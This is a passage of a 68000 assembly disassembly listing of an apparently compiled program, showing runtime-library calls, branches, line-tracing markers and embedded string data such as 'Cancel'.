  624.     JSR    -120(A3)        ;05E6: 4EABFF88
  625.     TRAPV                ;05EA: 4E76
  626.     MOVE.L    D7,-(A6)        ;05EC: 2D07
  627.     MOVEQ    #1,D7            ;05EE: 7E01
  628.     JSR    -996(A3)        ;05F0: 4EABFC1C
  629.     MOVE.L    D7,-(A6)        ;05F4: 2D07
  630.     MOVEQ    #0,D7            ;05F6: 7E00
  631.     JSR    -1728(A3)        ;05F8: 4EABF940
  632.     JSR    -1572(A3)        ;05FC: 4EABF9DC
  633.     JSR    -444(A3)        ;0600: 4EABFE44
  634.     AND    (A6)+,D7        ;0604: CE5E
  635.     TST    D7            ;0606: 4A47
  636.     BEQ    LAB_0031        ;0608: 6700007E
  637.     MOVE.L    #$001C0000,(A5)        ;060C: 2ABC001C0000
  638.     JSR    20(A5)            ;0612: 4EAD0014
  639.     MOVE.L    3912(A5),-(A6)        ;0616: 2D2D0F48
  640.     MOVE.L    3928(A5),-(A6)        ;061A: 2D2D0F58
  641.     MOVE.L    #$80000041,D7        ;061E: 2E3C80000041
  642.     JSR    -246(A3)        ;0624: 4EABFF0A
  643.     TRAPV                ;0628: 4E76
  644.     JSR    -168(A3)        ;062A: 4EABFF58
  645.     MOVEM.L    D6-D7,-(A7)        ;062E: 48E70300
  646.     MOVE.L    (A6)+,D7        ;0632: 2E1E
  647.     JSR    -162(A3)        ;0634: 4EABFF5E
  648.     MOVEM.L    D6-D7,-(A6)        ;0638: 48E60300
  649.     MOVEM.L    (A7)+,D6-D7        ;063C: 4CDF00C0
  650.     JSR    -234(A3)        ;0640: 4EABFF16
  651.     TRAPV                ;0644: 4E76
  652.     JSR    -126(A3)        ;0646: 4EABFF82
  653.     TRAPV                ;064A: 4E76
  654.     MOVE.L    D7,-(A6)        ;064C: 2D07
  655.     LEA    3768(A5),A0        ;064E: 41ED0EB8
  656.     MOVE.L    A0,-(A6)        ;0652: 2D08
  657.     MOVE.L    3928(A5),D7        ;0654: 2E2D0F58
  658.     JSR    -120(A3)        ;0658: 4EABFF88
  659.     TRAPV                ;065C: 4E76
  660.     MOVE.L    D7,-(A6)        ;065E: 2D07
  661.     MOVEQ    #1,D7            ;0660: 7E01
  662.     JSR    -996(A3)        ;0662: 4EABFC1C
  663.     JSR    -1518(A3)        ;0666: 4EABFA12
  664.     MOVE    D7,-(A6)        ;066A: 3D07
  665.     MOVEQ    #1,D7            ;066C: 7E01
  666.     NEG    D7            ;066E: 4447
  667.     ADD    (A6)+,D7        ;0670: DE5E
  668.     TRAPV                ;0672: 4E76
  669.     MOVEA.L    (A6)+,A0        ;0674: 205E
  670.     MOVE.B    D7,(A0)            ;0676: 1087
  671.     MOVE.L    #$001D0000,(A5)        ;0678: 2ABC001D0000
  672.     JSR    20(A5)            ;067E: 4EAD0014
  673.     BRA    LAB_0032        ;0682: 60000066
  674.     NOP                ;0686: 4E71
  675. LAB_0031:
  676.     MOVE.L    #$001E0000,(A5)        ;0688: 2ABC001E0000
  677.     JSR    20(A5)            ;068E: 4EAD0014
  678.     MOVE.L    3912(A5),-(A6)        ;0692: 2D2D0F48
  679.     MOVE.L    3928(A5),-(A6)        ;0696: 2D2D0F58
  680.     MOVE.L    #$80000041,D7        ;069A: 2E3C80000041
  681.     JSR    -246(A3)        ;06A0: 4EABFF0A
  682.     TRAPV                ;06A4: 4E76
  683.     JSR    -168(A3)        ;06A6: 4EABFF58
  684.     MOVEM.L    D6-D7,-(A7)        ;06AA: 48E70300
  685.     MOVE.L    (A6)+,D7        ;06AE: 2E1E
  686.     JSR    -162(A3)        ;06B0: 4EABFF5E
  687.     MOVEM.L    D6-D7,-(A6)        ;06B4: 48E60300
  688.     MOVEM.L    (A7)+,D6-D7        ;06B8: 4CDF00C0
  689.     JSR    -234(A3)        ;06BC: 4EABFF16
  690.     TRAPV                ;06C0: 4E76
  691.     JSR    -126(A3)        ;06C2: 4EABFF82
  692.     TRAPV                ;06C6: 4E76
  693.     MOVE.L    D7,-(A6)        ;06C8: 2D07
  694.     LEA    3768(A5),A0        ;06CA: 41ED0EB8
  695.     MOVE.L    A0,-(A6)        ;06CE: 2D08
  696.     MOVE.L    3928(A5),D7        ;06D0: 2E2D0F58
  697.     JSR    -120(A3)        ;06D4: 4EABFF88
  698.     TRAPV                ;06D8: 4E76
  699.     MOVE.L    D7,-(A6)        ;06DA: 2D07
  700.     MOVEQ    #1,D7            ;06DC: 7E01
  701.     JSR    -996(A3)        ;06DE: 4EABFC1C
  702.     JSR    -1518(A3)        ;06E2: 4EABFA12
  703.     MOVEA.L    (A6)+,A0        ;06E6: 205E
  704.     MOVE.B    D7,(A0)            ;06E8: 1087
  705. LAB_0032:
  706.     MOVE.L    #$00200000,(A5)        ;06EA: 2ABC00200000
  707.     JSR    20(A5)            ;06F0: 4EAD0014
  708.     LEA    3928(A5),A0        ;06F4: 41ED0F58
  709.     JSR    -1716(A3)        ;06F8: 4EABF94C
  710.     BRA    LAB_002D        ;06FC: 6000FEAC
  711.     NOP                ;0700: 4E71
  712. LAB_0033:
  713.     MOVE.L    #$00220000,(A5)        ;0702: 2ABC00220000
  714.     JSR    20(A5)            ;0708: 4EAD0014
  715.     LEA    3776(A5),A0        ;070C: 41ED0EC0
  716.     MOVE.L    A0,-(A6)        ;0710: 2D08
  717.     JSR    -798(A3)        ;0712: 4EABFCE2
  718.     DC.W    $0007            ;0716
  719.     DC.W    $4361            ;0718
  720.     DC.W    $6E63            ;071A
  721.     BCS.S    LAB_0035        ;071C: 656C
  722.     MOVE.L    D0,-(A0)        ;071E: 2100
  723.     MOVE.L    D7,-(A6)        ;0720: 2D07
  724.     MOVEQ    #0,D7            ;0722: 7E00
  725.     JSR    -1728(A3)        ;0724: 4EABF940
  726.     JSR    -1572(A3)        ;0728: 4EABF9DC
  727.     JSR    -240(A3)        ;072C: 4EABFF10
  728.     JSR    -930(A3)        ;0730: 4EABFC5E
  729.     MOVE.L    #$00230000,(A5)        ;0734: 2ABC00230000
  730.     JSR    20(A5)            ;073A: 4EAD0014
  731.     MOVE.L    #$80000041,-(A6)    ;073E: 2D3C80000041
  732.     LEA    3776(A5),A0        ;0744: 41ED0EC0
  733.     MOVE.L    A0,D7            ;0748: 2E08
  734.     JSR    -1512(A3)        ;074A: 4EABFA18
  735.     JSR    -138(A3)        ;074E: 4EABFF76
  736.     MOVE.L    D7,-(A6)        ;0752: 2D07
  737.     MOVE.L    #$80000041,D7        ;0754: 2E3C80000041
  738.     LEA    3928(A5),A0        ;075A: 41ED0F58
  739.     JSR    -1704(A3)        ;075E: 4EABF958
  740.     BRA    LAB_0036        ;0762: 6000007E
  741.     NOP                ;0766: 4E71
  742. LAB_0034:
  743.     MOVE.L    #$00240000,(A5)        ;0768: 2ABC00240000
  744.     JSR    20(A5)            ;076E: 4EAD0014
  745.     MOVE.L    3916(A5),-(A6)        ;0772: 2D2D0F4C
  746.     MOVE.L    3928(A5),-(A6)        ;0776: 2D2D0F58
  747.     MOVE.L    #$80000041,D7        ;077A: 2E3C80000041
  748.     JSR    -246(A3)        ;0780: 4EABFF0A
  749.     TRAPV                ;0784: 4E76
  750.     JSR    -168(A3)        ;0786: 4EABFF58
  751. LAB_0035:
  752.     MOVEM.L    D6-D7,-(A7)        ;078A: 48E70300
  753.     MOVE.L    (A6)+,D7        ;078E: 2E1E
  754.     JSR    -162(A3)        ;0790: 4EABFF5E
  755.     MOVEM.L    D6-D7,-(A6)        ;0794: 48E60300
  756.     MOVEM.L    (A7)+,D6-D7        ;0798: 4CDF00C0
  757.     JSR    -234(A3)        ;079C: 4EABFF16
  758.     TRAPV                ;07A0: 4E76
  759.     JSR    -126(A3)        ;07A2: 4EABFF82
  760.     TRAPV                ;07A6: 4E76
  761.     MOVE.L    D7,-(A6)        ;07A8: 2D07
  762.     LEA    3776(A5),A0        ;07AA: 41ED0EC0
  763.     MOVE.L    A0,-(A6)        ;07AE: 2D08
  764.     MOVE.L    3928(A5),D7        ;07B0: 2E2D0F58
  765.     JSR    -120(A3)        ;07B4: 4EABFF88
  766.     TRAPV                ;07B8: 4E76
  767.     MOVE.L    D7,-(A6)        ;07BA: 2D07
  768.     MOVEQ    #1,D7            ;07BC: 7E01
  769.     JSR    -996(A3)        ;07BE: 4EABFC1C
  770.     JSR    -1518(A3)        ;07C2: 4EABFA12
  771.     MOVEA.L    (A6)+,A0        ;07C6: 205E
  772.     MOVE.B    D7,(A0)            ;07C8: 1087
  773.     MOVE.L    #$00250000,(A5)        ;07CA: 2ABC00250000
  774.     JSR    20(A5)            ;07D0: 4EAD0014
  775.     LEA    3928(A5),A0        ;07D4: 41ED0F58
  776.     JSR    -1716(A3)        ;07D8: 4EABF94C
  777.     BRA    LAB_0034        ;07DC: 6000FF8A
  778.     NOP                ;07E0: 4E71
  779. LAB_0036:
  780.     MOVE.L    #$00270000,(A5)        ;07E2: 2ABC00270000
  781.     JSR    20(A5)            ;07E8: 4EAD0014
  782.     LEA    3784(A5),A0        ;07EC: 41ED0EC8
  783.     MOVE.L    A0,-(A6)        ;07F0: 2D08
  784.     JSR    -798(A3)        ;07F2: 4EABFCE2
  785.     DC.W    $0007            ;07F6
  786.     DC.W    $4361            ;07F8
  787.     DC.W    $6E63            ;07FA
  788.     BCS.S    LAB_0038        ;07FC: 656C
  789.     MOVE.L    D0,-(A0)        ;07FE: 2100
  790.     MOVE.L    D7,-(A6)        ;0800: 2D07
  791.     MOVEQ    #0,D7            ;0802: 7E00
  792.     JSR    -1728(A3)        ;0804: 4EABF940
  793.     JSR    -1572(A3)        ;0808: 4EABF9DC
  794.     JSR    -240(A3)        ;080C: 4EABFF10
  795.     JSR    -930(A3)        ;0810: 4EABFC5E
  796.     MOVE.L    #$00280000,(A5)        ;0814: 2ABC00280000
  797.     JSR    20(A5)            ;081A: 4EAD0014
  798.     MOVE.L    #$80000041,-(A6)    ;081E: 2D3C80000041
  799.     LEA    3784(A5),A0        ;0824: 41ED0EC8
  800.     MOVE.L    A0,D7            ;0828: 2E08
  801.     JSR    -1512(A3)        ;082A: 4EABFA18
  802.     JSR    -138(A3)        ;082E: 4EABFF76
  803.     MOVE.L    D7,-(A6)        ;0832: 2D07
  804.     MOVE.L    #$80000041,D7        ;0834: 2E3C80000041
  805.     LEA    3928(A5),A0        ;083A: 41ED0F58
  806.     JSR    -1704(A3)        ;083E: 4EABF958
  807.     BRA    LAB_0039        ;0842: 6000007E
  808.     NOP                ;0846: 4E71
  809. LAB_0037:
  810.     MOVE.L    #$00290000,(A5)        ;0848: 2ABC00290000
  811.     JSR    20(A5)            ;084E: 4EAD0014
  812.     MOVE.L    3920(A5),-(A6)        ;0852: 2D2D0F50
  813.     MOVE.L    3928(A5),-(A6)        ;0856: 2D2D0F58
  814.     MOVE.L    #$80000041,D7        ;085A: 2E3C80000041
  815.     JSR    -246(A3)        ;0860: 4EABFF0A
  816.     TRAPV                ;0864: 4E76
  817.     JSR    -168(A3)        ;0866: 4EABFF58
  818. LAB_0038:
  819.     MOVEM.L    D6-D7,-(A7)        ;086A: 48E70300
  820.     MOVE.L    (A6)+,D7        ;086E: 2E1E
  821.     JSR    -162(A3)        ;0870: 4EABFF5E
  822.     MOVEM.L    D6-D7,-(A6)        ;0874: 48E60300
  823.     MOVEM.L    (A7)+,D6-D7        ;0878: 4CDF00C0
  824.     JSR    -234(A3)        ;087C: 4EABFF16
  825.     TRAPV                ;0880: 4E76
  826.     JSR    -126(A3)        ;0882: 4EABFF82
  827.     TRAPV                ;0886: 4E76
  828.     MOVE.L    D7,-(A6)        ;0888: 2D07
  829.     LEA    3784(A5),A0        ;088A: 41ED0EC8
  830.     MOVE.L    A0,-(A6)        ;088E: 2D08
  831.     MOVE.L    3928(A5),D7        ;0890: 2E2D0F58
  832.     JSR    -120(A3)        ;0894: 4EABFF88
  833.     TRAPV                ;0898: 4E76
  834.     MOVE.L    D7,-(A6)        ;089A: 2D07
  835.     MOVEQ    #1,D7            ;089C: 7E01
  836.     JSR    -996(A3)        ;089E: 4EABFC1C
  837.     JSR    -1518(A3)        ;08A2: 4EABFA12
  838.     MOVEA.L    (A6)+,A0        ;08A6: 205E
  839.     MOVE.B    D7,(A0)            ;08A8: 1087
  840.     MOVE.L    #$002A0000,(A5)        ;08AA: 2ABC002A0000
  841.     JSR    20(A5)            ;08B0: 4EAD0014
  842.     LEA    3928(A5),A0        ;08B4: 41ED0F58
  843.     JSR    -1716(A3)        ;08B8: 4EABF94C
  844.     BRA    LAB_0037        ;08BC: 6000FF8A
  845.     NOP                ;08C0: 4E71
  846. LAB_0039:
  847.     MOVE.L    #$002C0000,(A5)        ;08C2: 2ABC002C0000
  848.     JSR    20(A5)            ;08C8: 4EAD0014
  849.     LEA    3792(A5),A0        ;08CC: 41ED0ED0
  850.     MOVE.L    A0,-(A6)        ;08D0: 2D08
  851.     MOVEQ    #0,D7            ;08D2: 7E00
  852.     JSR    -1728(A3)        ;08D4: 4EABF940
  853.     JSR    -1572(A3)        ;08D8: 4EABF9DC
  854.     MOVE.L    D7,-(A6)        ;08DC: 2D07
  855.     MOVEQ    #0,D7            ;08DE: 7E00
  856.     JSR    -1728(A3)        ;08E0: 4EABF940
  857.     JSR    -1572(A3)        ;08E4: 4EABF9DC
  858.     JSR    -240(A3)        ;08E8: 4EABFF10
  859.     MOVE.L    D7,-(A6)        ;08EC: 2D07
  860.     MOVEQ    #0,D7            ;08EE: 7E00
  861.     JSR    -1728(A3)        ;08F0: 4EABF940
  862.     JSR    -1572(A3)        ;08F4: 4EABF9DC
  863.     JSR    -240(A3)        ;08F8: 4EABFF10
  864.     MOVE.L    D7,-(A6)        ;08FC: 2D07
  865.     MOVEQ    #0,D7            ;08FE: 7E00
  866.     JSR    -1728(A3)        ;0900: 4EABF940
  867.     JSR    -1572(A3)        ;0904: 4EABF9DC
  868.     JSR    -240(A3)        ;0908: 4EABFF10
  869.     JSR    -930(A3)        ;090C: 4EABFC5E
  870.     MOVE.L    #$002D0000,(A5)        ;0910: 2ABC002D0000
  871.     JSR    20(A5)            ;0916: 4EAD0014
  872.     LEA    3800(A5),A0        ;091A: 41ED0ED8
  873.     MOVE.L    A0,-(A6)        ;091E: 2D08
  874.     MOVEQ    #0,D7            ;0920: 7E00
  875.     JSR    -1728(A3)        ;0922: 4EABF940
  876.     JSR    -1572(A3)        ;0926: 4EABF9DC
  877.     MOVE.L    D7,-(A6)        ;092A: 2D07
  878.     MOVEQ    #0,D7            ;092C: 7E00
  879.     JSR    -1728(A3)        ;092E: 4EABF940
  880.     JSR    -1572(A3)        ;0932: 4EABF9DC
  881.     JSR    -240(A3)        ;0936: 4EABFF10
  882.     MOVE.L    D7,-(A6)        ;093A: 2D07
  883.     MOVEQ    #0,D7            ;093C: 7E00
  884.     JSR    -1728(A3)        ;093E: 4EABF940
  885.     JSR    -1572(A3)        ;0942: 4EABF9DC
  886.     JSR    -240(A3)        ;0946: 4EABFF10
  887.     MOVE.L    D7,-(A6)        ;094A: 2D07
  888.     MOVEQ    #0,D7            ;094C: 7E00
  889.     JSR    -1728(A3)        ;094E: 4EABF940
  890.     JSR    -1572(A3)        ;0952: 4EABF9DC
  891.     JSR    -240(A3)        ;0956: 4EABFF10
  892.     JSR    -930(A3)        ;095A: 4EABFC5E
  893.     MOVE.L    #$002E0000,(A5)        ;095E: 2ABC002E0000
  894.     JSR    20(A5)            ;0964: 4EAD0014
  895.     LEA    3808(A5),A0        ;0968: 41ED0EE0
  896.     MOVE.L    A0,-(A6)        ;096C: 2D08
  897.     MOVEQ    #0,D7            ;096E: 7E00
  898.     JSR    -1728(A3)        ;0970: 4EABF940
  899.     JSR    -1572(A3)        ;0974: 4EABF9DC
  900.     MOVE.L    D7,-(A6)        ;0978: 2D07
  901.     MOVEQ    #0,D7            ;097A: 7E00
  902.     JSR    -1728(A3)        ;097C: 4EABF940
  903.     JSR    -1572(A3)        ;0980: 4EABF9DC
  904.     JSR    -240(A3)        ;0984: 4EABFF10
  905.     MOVE.L    D7,-(A6)        ;0988: 2D07
  906.     MOVEQ    #0,D7            ;098A: 7E00
  907.     JSR    -1728(A3)        ;098C: 4EABF940
  908.     JSR    -1572(A3)        ;0990: 4EABF9DC
  909.     JSR    -240(A3)        ;0994: 4EABFF10
  910.     MOVE.L    D7,-(A6)        ;0998: 2D07
  911.     MOVEQ    #0,D7            ;099A: 7E00
  912.     JSR    -1728(A3)        ;099C: 4EABF940
  913.     JSR    -1572(A3)        ;09A0: 4EABF9DC
  914.     JSR    -240(A3)        ;09A4: 4EABFF10
  915.     JSR    -930(A3)        ;09A8: 4EABFC5E
  916.     MOVE.L    #$002F0000,(A5)        ;09AC: 2ABC002F0000
  917.     JSR    20(A5)            ;09B2: 4EAD0014
  918.     LEA    3816(A5),A0        ;09B6: 41ED0EE8
  919.     MOVE.L    A0,-(A6)        ;09BA: 2D08
  920.     MOVEQ    #0,D7            ;09BC: 7E00
  921.     JSR    -1728(A3)        ;09BE: 4EABF940
  922.     JSR    -1572(A3)        ;09C2: 4EABF9DC
  923.     MOVE.L    D7,-(A6)        ;09C6: 2D07
  924.     MOVEQ    #0,D7            ;09C8: 7E00
  925.     JSR    -1728(A3)        ;09CA: 4EABF940
  926.     JSR    -1572(A3)        ;09CE: 4EABF9DC
  927.     JSR    -240(A3)        ;09D2: 4EABFF10
  928.     MOVE.L    D7,-(A6)        ;09D6: 2D07
  929.     MOVEQ    #0,D7            ;09D8: 7E00
  930.     JSR    -1728(A3)        ;09DA: 4EABF940
  931.     JSR    -1572(A3)        ;09DE: 4EABF9DC
  932.     JSR    -240(A3)        ;09E2: 4EABFF10
  933.     MOVE.L    D7,-(A6)        ;09E6: 2D07
  934.     MOVEQ    #0,D7            ;09E8: 7E00
  935.     JSR    -1728(A3)        ;09EA: 4EABF940
  936.     JSR    -1572(A3)        ;09EE: 4EABF9DC
  937.     JSR    -240(A3)        ;09F2: 4EABFF10
  938.     JSR    -930(A3)        ;09F6: 4EABFC5E
  939.     MOVE.L    #$00310000,(A5)        ;09FA: 2ABC00310000
  940.     JSR    20(A5)            ;0A00: 4EAD0014
  941.     LEA    3792(A5),A0        ;0A04: 41ED0ED0
  942.     MOVE.L    A0,D7            ;0A08: 2E08
  943.     JSR    -1560(A3)        ;0A0A: 4EABF9E8
  944.     MOVE.L    D7,-(A6)        ;0A0E: 2D07
  945.     MOVE.L    3912(A5),D7        ;0A10: 2E2D0F48
  946.     MOVEA.L    (A6)+,A0        ;0A14: 205E
  947.     MOVE.L    D7,(A0)            ;0A16: 2087
  948.     MOVE.L    #$00320000,(A5)        ;0A18: 2ABC00320000
  949.     JSR    20(A5)            ;0A1E: 4EAD0014
  950.     LEA    3800(A5),A0        ;0A22: 41ED0ED8
  951.     MOVE.L    A0,D7            ;0A26: 2E08
  952.     JSR    -1560(A3)        ;0A28: 4EABF9E8
  953.     MOVE.L    D7,-(A6)        ;0A2C: 2D07
  954.     MOVE.L    3916(A5),D7        ;0A2E: 2E2D0F4C
  955.     MOVEA.L    (A6)+,A0        ;0A32: 205E
  956.     MOVE.L    D7,(A0)            ;0A34: 2087
  957.     MOVE.L    #$00330000,(A5)        ;0A36: 2ABC00330000
  958.     JSR    20(A5)            ;0A3C: 4EAD0014
  959.     LEA    3808(A5),A0        ;0A40: 41ED0EE0
  960.     MOVE.L    A0,D7            ;0A44: 2E08
  961.     JSR    -1560(A3)        ;0A46: 4EABF9E8
  962.     MOVE.L    D7,-(A6)        ;0A4A: 2D07
  963.     MOVE.L    3920(A5),D7        ;0A4C: 2E2D0F50
  964.     MOVEA.L    (A6)+,A0        ;0A50: 205E
  965.     MOVE.L    D7,(A0)            ;0A52: 2087
  966.     MOVE.L    #$00340000,(A5)        ;0A54: 2ABC00340000
  967.     JSR    20(A5)            ;0A5A: 4EAD0014
  968.     LEA    3816(A5),A0        ;0A5E: 41ED0EE8
  969.     MOVE.L    A0,D7            ;0A62: 2E08
  970.     JSR    -1560(A3)        ;0A64: 4EABF9E8
  971.     MOVE.L    D7,-(A6)        ;0A68: 2D07
  972.     MOVE.L    3924(A5),D7        ;0A6A: 2E2D0F54
  973.     MOVEA.L    (A6)+,A0        ;0A6E: 205E
  974.     MOVE.L    D7,(A0)            ;0A70: 2087
  975.     MOVE.L    #$003A0000,(A5)        ;0A72: 2ABC003A0000
  976.     JSR    20(A5)            ;0A78: 4EAD0014
  977.     LEA    3824(A5),A0        ;0A7C: 41ED0EF0
  978.     MOVE.L    A0,-(A6)        ;0A80: 2D08
  979.     MOVEQ    #1,D7            ;0A82: 7E01
  980.     JSR    -1728(A3)        ;0A84: 4EABF940
  981.     JSR    -1572(A3)        ;0A88: 4EABF9DC
  982.     MOVE.L    D7,-(A6)        ;0A8C: 2D07
  983.     MOVEQ    #0,D7            ;0A8E: 7E00
  984.     JSR    -1728(A3)        ;0A90: 4EABF940
  985.     JSR    -1572(A3)        ;0A94: 4EABF9DC
  986.     JSR    -240(A3)        ;0A98: 4EABFF10
  987.     MOVE.L    D7,-(A6)        ;0A9C: 2D07
  988.     MOVEQ    #1,D7            ;0A9E: 7E01
  989.     JSR    -1728(A3)        ;0AA0: 4EABF940
  990.     JSR    -1572(A3)        ;0AA4: 4EABF9DC
  991.     JSR    -240(A3)        ;0AA8: 4EABFF10
  992.     MOVE.L    D7,-(A6)        ;0AAC: 2D07
  993.     MOVEQ    #0,D7            ;0AAE: 7E00
  994.     JSR    -1728(A3)        ;0AB0: 4EABF940
  995.     JSR    -1572(A3)        ;0AB4: 4EABF9DC
  996.     JSR    -240(A3)        ;0AB8: 4EABFF10
  997.     MOVE.L    D7,-(A6)        ;0ABC: 2D07
  998.     MOVEQ    #8,D7            ;0ABE: 7E08
  999.     JSR    -1728(A3)        ;0AC0: 4EABF940
  1000.     JSR    -1572(A3)        ;0AC4: 4EABF9DC
  1001.     JSR    -240(A3)        ;0AC8: 4EABFF10
  1002.     MOVE.L    D7,-(A6)        ;0ACC: 2D07
  1003.     MOVEQ    #0,D7            ;0ACE: 7E00
  1004.     JSR    -1728(A3)        ;0AD0: 4EABF940
  1005.     JSR    -1572(A3)        ;0AD4: 4EABF9DC
  1006.     JSR    -240(A3)        ;0AD8: 4EABFF10
  1007.     MOVE.L    D7,-(A6)        ;0ADC: 2D07
  1008.     MOVEQ    #8,D7            ;0ADE: 7E08
  1009.     JSR    -1728(A3)        ;0AE0: 4EABF940
  1010.     JSR    -1572(A3)        ;0AE4: 4EABF9DC
  1011.     JSR    -240(A3)        ;0AE8: 4EABFF10
  1012.     MOVE.L    D7,-(A6)        ;0AEC: 2D07
  1013.     MOVEQ    #0,D7            ;0AEE: 7E00
  1014.     JSR    -1728(A3)        ;0AF0: 4EABF940
  1015.     JSR    -1572(A3)        ;0AF4: 4EABF9DC
  1016.     JSR    -240(A3)        ;0AF8: 4EABFF10
  1017.     MOVE.L    D7,-(A6)        ;0AFC: 2D07
  1018.     MOVEQ    #0,D7            ;0AFE: 7E00
  1019.     JSR    -1728(A3)        ;0B00: 4EABF940
  1020.     JSR    -1572(A3)        ;0B04: 4EABF9DC
  1021.     JSR    -240(A3)        ;0B08: 4EABFF10
  1022.     MOVE.L    D7,-(A6)        ;0B0C: 2D07
  1023.     MOVEQ    #0,D7            ;0B0E: 7E00
  1024.     JSR    -1728(A3)        ;0B10: 4EABF940
  1025.     JSR    -1572(A3)        ;0B14: 4EABF9DC
  1026.     JSR    -240(A3)        ;0B18: 4EABFF10
  1027.     MOVE.L    D7,-(A6)        ;0B1C: 2D07
  1028.     MOVEQ    #0,D7            ;0B1E: 7E00
  1029.     JSR    -1728(A3)        ;0B20: 4EABF940
  1030.     JSR    -1572(A3)        ;0B24: 4EABF9DC
  1031.     JSR    -240(A3)        ;0B28: 4EABFF10
  1032.     MOVE.L    D7,-(A6)        ;0B2C: 2D07
  1033.     LEA    3792(A5),A0        ;0B2E: 41ED0ED0
  1034.     MOVE.L    A0,D7            ;0B32: 2E08
  1035.     JSR    -240(A3)        ;0B34: 4EABFF10
  1036.     MOVE.L    D7,-(A6)        ;0B38: 2D07
  1037.     MOVEQ    #0,D7            ;0B3A: 7E00
  1038.     JSR    -1728(A3)        ;0B3C: 4EABF940
  1039.     JSR    -1572(A3)        ;0B40: 4EABF9DC
  1040.     JSR    -240(A3)        ;0B44: 4EABFF10
  1041.     MOVE.L    D7,-(A6)        ;0B48: 2D07
  1042.     MOVEQ    #0,D7            ;0B4A: 7E00
  1043.     JSR    -1728(A3)        ;0B4C: 4EABF940
  1044.     JSR    -1572(A3)        ;0B50: 4EABF9DC
  1045.     JSR    -240(A3)        ;0B54: 4EABFF10
  1046.     MOVE.L    D7,-(A6)        ;0B58: 2D07
  1047.     MOVEQ    #0,D7            ;0B5A: 7E00
  1048.     JSR    -1728(A3)        ;0B5C: 4EABF940
  1049.     JSR    -1572(A3)        ;0B60: 4EABF9DC
  1050.     JSR    -240(A3)        ;0B64: 4EABFF10
  1051.     MOVE.L    D7,-(A6)        ;0B68: 2D07
  1052.     MOVEQ    #0,D7            ;0B6A: 7E00
  1053.     JSR    -1728(A3)        ;0B6C: 4EABF940
  1054.     JSR    -1572(A3)        ;0B70: 4EABF9DC
  1055.     JSR    -240(A3)        ;0B74: 4EABFF10
  1056.     JSR    -930(A3)        ;0B78: 4EABFC5E
  1057.     MOVE.L    #$003B0000,(A5)        ;0B7C: 2ABC003B0000
  1058.     JSR    20(A5)            ;0B82: 4EAD0014
  1059.     LEA    3832(A5),A0        ;0B86: 41ED0EF8
  1060.     MOVE.L    A0,-(A6)        ;0B8A: 2D08
  1061.     MOVEQ    #1,D7            ;0B8C: 7E01
  1062.     JSR    -1728(A3)        ;0B8E: 4EABF940
  1063.     JSR    -1572(A3)        ;0B92: 4EABF9DC
  1064.     MOVE.L    D7,-(A6)        ;0B96: 2D07
  1065.     MOVEQ    #0,D7            ;0B98: 7E00
  1066.     JSR    -1728(A3)        ;0B9A: 4EABF940
  1067.     JSR    -1572(A3)        ;0B9E: 4EABF9DC
  1068.     JSR    -240(A3)        ;0BA2: 4EABFF10
  1069.     MOVE.L    D7,-(A6)        ;0BA6: 2D07
  1070.     MOVEQ    #1,D7            ;0BA8: 7E01
  1071.     JSR    -1728(A3)        ;0BAA: 4EABF940
  1072.     JSR    -1572(A3)        ;0BAE: 4EABF9DC
  1073.     JSR    -240(A3)        ;0BB2: 4EABFF10
  1074.     MOVE.L    D7,-(A6)        ;0BB6: 2D07
  1075.     MOVEQ    #0,D7            ;0BB8: 7E00
  1076.     JSR    -1728(A3)        ;0BBA: 4EABF940
  1077.     JSR    -1572(A3)        ;0BBE: 4EABF9DC
  1078.     JSR    -240(A3)        ;0BC2: 4EABFF10
  1079.     MOVE.L    D7,-(A6)        ;0BC6: 2D07
  1080.     MOVEQ    #8,D7            ;0BC8: 7E08
  1081.     JSR    -1728(A3)        ;0BCA: 4EABF940
  1082.     JSR    -1572(A3)        ;0BCE: 4EABF9DC
  1083.     JSR    -240(A3)        ;0BD2: 4EABFF10
  1084.     MOVE.L    D7,-(A6)        ;0BD6: 2D07
  1085.     MOVEQ    #0,D7            ;0BD8: 7E00
  1086.     JSR    -1728(A3)        ;0BDA: 4EABF940
  1087.     JSR    -1572(A3)        ;0BDE: 4EABF9DC
  1088.     JSR    -240(A3)        ;0BE2: 4EABFF10
  1089.     MOVE.L    D7,-(A6)        ;0BE6: 2D07
  1090.     MOVEQ    #8,D7            ;0BE8: 7E08
  1091.     JSR    -1728(A3)        ;0BEA: 4EABF940
  1092.     JSR    -1572(A3)        ;0BEE: 4EABF9DC
  1093.     JSR    -240(A3)        ;0BF2: 4EABFF10
  1094.     MOVE.L    D7,-(A6)        ;0BF6: 2D07
  1095.     MOVEQ    #0,D7            ;0BF8: 7E00
  1096.     JSR    -1728(A3)        ;0BFA: 4EABF940
  1097.     JSR    -1572(A3)        ;0BFE: 4EABF9DC
  1098.     JSR    -240(A3)        ;0C02: 4EABFF10
  1099.     MOVE.L    D7,-(A6)        ;0C06: 2D07
  1100.     MOVEQ    #0,D7            ;0C08: 7E00
  1101.     JSR    -1728(A3)        ;0C0A: 4EABF940
  1102.     JSR    -1572(A3)        ;0C0E: 4EABF9DC
  1103.     JSR    -240(A3)        ;0C12: 4EABFF10
  1104.     MOVE.L    D7,-(A6)        ;0C16: 2D07
  1105.     MOVEQ    #0,D7            ;0C18: 7E00
  1106.     JSR    -1728(A3)        ;0C1A: 4EABF940
  1107.     JSR    -1572(A3)        ;0C1E: 4EABF9DC
  1108.     JSR    -240(A3)        ;0C22: 4EABFF10
  1109.     MOVE.L    D7,-(A6)        ;0C26: 2D07
  1110.     MOVEQ    #0,D7            ;0C28: 7E00
  1111.     JSR    -1728(A3)        ;0C2A: 4EABF940
  1112.     JSR    -1572(A3)        ;0C2E: 4EABF9DC
  1113.     JSR    -240(A3)        ;0C32: 4EABFF10
  1114.     MOVE.L    D7,-(A6)        ;0C36: 2D07
  1115.     LEA    3800(A5),A0        ;0C38: 41ED0ED8
  1116.     MOVE.L    A0,D7            ;0C3C: 2E08
  1117.     JSR    -240(A3)        ;0C3E: 4EABFF10
  1118.     MOVE.L    D7,-(A6)        ;0C42: 2D07
  1119.     MOVEQ    #0,D7            ;0C44: 7E00
  1120.     JSR    -1728(A3)        ;0C46: 4EABF940
  1121.     JSR    -1572(A3)        ;0C4A: 4EABF9DC
  1122.     JSR    -240(A3)        ;0C4E: 4EABFF10
  1123.     MOVE.L    D7,-(A6)        ;0C52: 2D07
  1124.     MOVEQ    #0,D7            ;0C54: 7E00
  1125.     JSR    -1728(A3)        ;0C56: 4EABF940
  1126.     JSR    -1572(A3)        ;0C5A: 4EABF9DC
  1127.     JSR    -240(A3)        ;0C5E: 4EABFF10
